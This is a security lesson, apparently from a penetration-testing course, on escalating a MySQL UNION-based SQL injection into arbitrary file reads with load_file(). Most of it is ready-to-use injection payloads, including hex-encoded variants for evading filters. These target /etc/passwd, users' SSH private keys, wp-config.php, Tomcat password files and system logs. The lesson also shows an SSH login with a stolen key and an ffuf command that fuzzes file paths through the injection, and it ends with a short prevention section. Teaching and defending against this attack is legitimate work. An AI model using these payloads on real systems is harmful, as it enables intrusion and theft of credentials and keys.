SQL Injection (UNION-based File Read)
A UNION-based SQL injection usually ends at dumping the database. With MySQL's load_file() it goes further: you turn the injection into an arbitrary file read on the database server's filesystem. This lesson covers how to confirm load_file() works, how to read /etc/passwd, how to pivot from the users you find to SSH keys and service configs, and how to discover readable files by fuzzing.
A UNION-based SQL injection usually ends at dumping the database. With MySQL's load_file() it goes further: you turn the injection into an arbitrary file read on the database server's filesystem.
This lesson covers how to confirm load_file() works, how to read /etc/passwd, how to pivot from the users you find to SSH keys and service configs, and how to discover readable files by fuzzing.
What load_file() does
load_file() returns the contents of a file on the server as a string. Drop it into one of the columns of a working UNION injection:
1' UNION SELECT 1,2,3,4,5,load_file("/etc/passwd"),7-- -
The file contents come back rendered in whatever column (here, column 6) the application prints to the page.
Requirements
Three conditions must all hold, or load_file() silently returns NULL:
- The DB user has the
FILEprivilege. - The target file is readable by the OS account running
mysqld(usuallymysql). secure_file_privis empty — not pointing at a restricted directory.
Check the last two if you already have query access:
SELECT user();
SELECT @@secure_file_priv;
SHOW GRANTS;
If secure_file_priv is empty (''), reads are unrestricted. If it holds a path, you can only read inside that directory. If it's NULL, file access is disabled.
Confirming it works
A NULL result is ambiguous — it can mean no privilege, no permission, or a missing file. Test against a file that always exists and is world-readable:
1' UNION SELECT 1,2,3,4,5,load_file("/etc/hostname"),7-- -
Content back means load_file() is live and you can start enumerating. If filters block quotes, pass the path as a hex string instead:
1' UNION SELECT 1,2,3,4,5,load_file(0x2f6574632f706173737764),7-- -
Reading /etc/passwd
/etc/passwd is the first target: it's world-readable and lists every account on the box.
1' UNION SELECT 1,2,3,4,5,load_file("/etc/passwd"),7-- -
Each line is user:x:uid:gid:comment:home:shell. Two things matter for the next step:
- Accounts with a real shell (
/bin/bash,/bin/sh) and a home under/home— candidates for SSH keys. - Service accounts (
www-data,mysql,tomcat) and their home paths — they tell you what's installed and where.
From users to SSH keys
Every username you pulled from /etc/passwd is now a path to try. A private key gives you a direct login — no password needed.
1' UNION SELECT 1,2,3,4,5,load_file("/home/userName/.ssh/id_rsa"),7-- -
1' UNION SELECT 1,2,3,4,5,load_file("/home/userName/.ssh/id_ecdsa"),7-- -
1' UNION SELECT 1,2,3,4,5,load_file("/home/userName/.ssh/id_ed25519"),7-- -
Swap userName for each account you saw. If a key comes back, save it, chmod 600, and log in:
chmod 600 id_rsa
ssh -i id_rsa userName@target
Finding the web app config
Application config files hold database credentials, API keys, and secret salts. For WordPress, read wp-config.php:
1' UNION SELECT 1,2,3,4,5,load_file("/var/www/appname/wp-config.php"),7-- -
The install path varies. Use the home directories and service accounts from /etc/passwd to work out where the app actually lives before guessing.
Web server files
Server configs reveal virtual hosts, document roots, and paths; access logs reveal usernames, request contents, and other apps on the host.
Apache (Debian/Ubuntu):
load_file("/etc/apache2/sites-enabled/")
load_file("/var/log/apache2/access.log")
Apache httpd (RHEL/custom):
load_file("/etc/httpd/conf/httpd.conf")
load_file("/opt/apache2/htdocs/httpd.conf")
load_file("/var/log/httpd-access.log")
The httpd install path is not fixed — check the paths in /etc/passwd to see whether it lives under /etc, /opt, or elsewhere before you read its config.
Nginx:
load_file("/var/log/nginx/access.log")
Service configs and logs
Once you have arbitrary read, every service on the box is a source of credentials, usernames, and configuration. Useful targets by service:
Tomcat — tomcat_users.xml stores manager passwords in cleartext:
load_file("/etc/tomcat9/tomcat_users.xml")
load_file("/usr/share/tomcat9/etc/tomcat_users.xml")
SSH — config plus login logs:
load_file("/etc/ssh/sshd_config")
load_file("/var/log/auth.log")
load_file("/var/log/btmp")
MySQL — error log and server config:
load_file("/var/log/mysql/error.log")
load_file("/etc/mysql/mysql.conf.d/mysqld.cnf")
FTP (vsftpd):
load_file("/etc/vsftpd.conf")
load_file("/etc/ftpusers")
File sharing:
load_file("/etc/samba/smb.conf")
load_file("/etc/exports")
Mail and monitoring:
load_file("/etc/postfix/main.cf")
load_file("/etc/snmp/snmpd.conf")
Port knocking — reveals the knock sequence to open firewalled ports:
load_file("/etc/knockd.conf")
Security tooling and system logs
These expose attacker activity, blocked IPs, and system-wide events — handy for mapping defenses and spotting other services:
load_file("/var/log/fail2ban.log")
load_file("/var/log/ufw.log")
load_file("/var/log/syslog")
load_file("/var/log/auth.log")
Mail and process file descriptors
Local mail often contains cron output, password resets, and notifications:
load_file("/var/mail/userName")
The mysqld process's own open files are reachable through /proc/self/fd/. Walk the descriptor numbers to catch files the server has open that you can't name directly:
load_file("/proc/self/fd/1")
load_file("/proc/self/fd/2")
load_file("/proc/self/fd/3")
Discovering files by fuzzing
You won't guess every path. When you can observe a different page response for a readable vs. missing file, automate the search with a wordlist.
Grab LFI and common-path wordlists from SecLists, then fuzz the injected path with a tool like ffuf:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-u "https://target/view?id=1' UNION SELECT 1,2,3,4,5,load_file('FUZZ'),7-- -" \
-fs 0
URL-encode the payload as needed, and filter out the empty/NULL responses (-fs on size, or -fr on a known "not found" string) so only successful reads surface.
For each username from /etc/passwd, loop the home-directory and SSH-key paths through the same fuzzer to sweep them all at once.
Prevention
Defense is layered — fix the injection first, then limit the blast radius:
- Use parameterized queries / prepared statements so user input never reaches the SQL parser.
- Run the application's DB account without the
FILEprivilege — it is almost never needed by a web app. - Set
secure_file_privto a dedicated directory, orNULLto disable file access entirely. - Run
mysqldas an unprivileged user with no read access to SSH keys, logs, or service configs. - Keep secrets out of web-readable paths and restrict permissions on
wp-config.php, keys, and config files.
Remove any one requirement — the privilege, the file permission, or the secure_file_priv access — and load_file() returns nothing.